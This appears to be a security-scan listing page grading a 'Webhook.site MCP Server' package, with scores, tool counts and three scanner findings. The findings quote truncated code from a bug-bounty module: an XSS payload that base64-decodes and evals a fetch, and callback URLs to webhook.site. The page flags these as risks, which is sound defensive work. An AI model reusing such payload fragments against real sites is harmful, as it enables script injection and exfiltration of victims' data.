MCP.Market

Is Webhook.site MCP Server safe?

Not recommended.

D49/100grade D

Hidden from default browsing. Significant findings or unreachable.

What to know before installing
  • highBase64 decoded then executed
  • highNetwork call to a paste/tunnel/webhook host

How Webhook.site MCP Server compares

Against every graded Email MCP server, from our own scans and uptime checks. Updated after each scan run.

Safety score
49/100
higher than 9% of 916 Email servers
Tools that change things
32%
typical: 25%. Fewer write tools means less an agent can break

What its tools let an agent do: 20 read · 2 create · 5 change · 3 delete · 1 send or post

Public scan report

scanner v0.1.10 · 2026-10-16 · same rubric, same numbers if you re-run it

2 high1 medium
  • Code scan31 source files scanned0/25
  • –Live reliabilityno gateway calls yet and no remote to proben/a
  • –Tool poisoningtools not inspected (local package is not executed); not countedn/a
  • Auth qualitylocal package, no credentials required12/15
  • Maintenancelast push 43 days ago12/15
  • Maintainer identityregistry namespace matches repository owner; GitHub account older than a year8/10

Findings (3)

  • mediumeval / new Function usedexec.eval
    webhook_mcp_server-3.0.0/services/bugbounty_service.py: … payloads["base64"] = f'<script>eval(atob("{self._base64_encode(encoded_fetch…
  • highBase64 decoded then executedobf.base64-exec
    webhook_mcp_server-3.0.0/services/bugbounty_service.py: … payloads["base64"] = f'<script>eval(atob("{self._base64_encode(encoded_fetch)}"))…
  • highNetwork call to a paste/tunnel/webhook hostnet.suspicious-host
    webhook_mcp_server-3.0.0/services/bugbounty_service.py: …_payloads = { "http_url": f"http://webhook.site/{webhook_token}{id_param}", …
Overall 49/100. Components that don't apply are left out of the denominator. Any critical finding is an F.RubricAppeal a findingJSON

Safer options for the same job

  • Mailkite
    Send email, manage domains, DNS, webhooks, templates, and inbound routing on MailKite
    A
  • OpenOSINT
    AI-powered OSINT agent & MCP server. 21 tools: email, breach, IP, WHOIS, DNS, Shodan, GitHub & more.
    C
  • Email Inbox API + Sending by Sendmux
    AI email inbox and sending tools with attachments, search, live events, and webhooks.
    A

Webhook.site MCP Server reviews, tools and install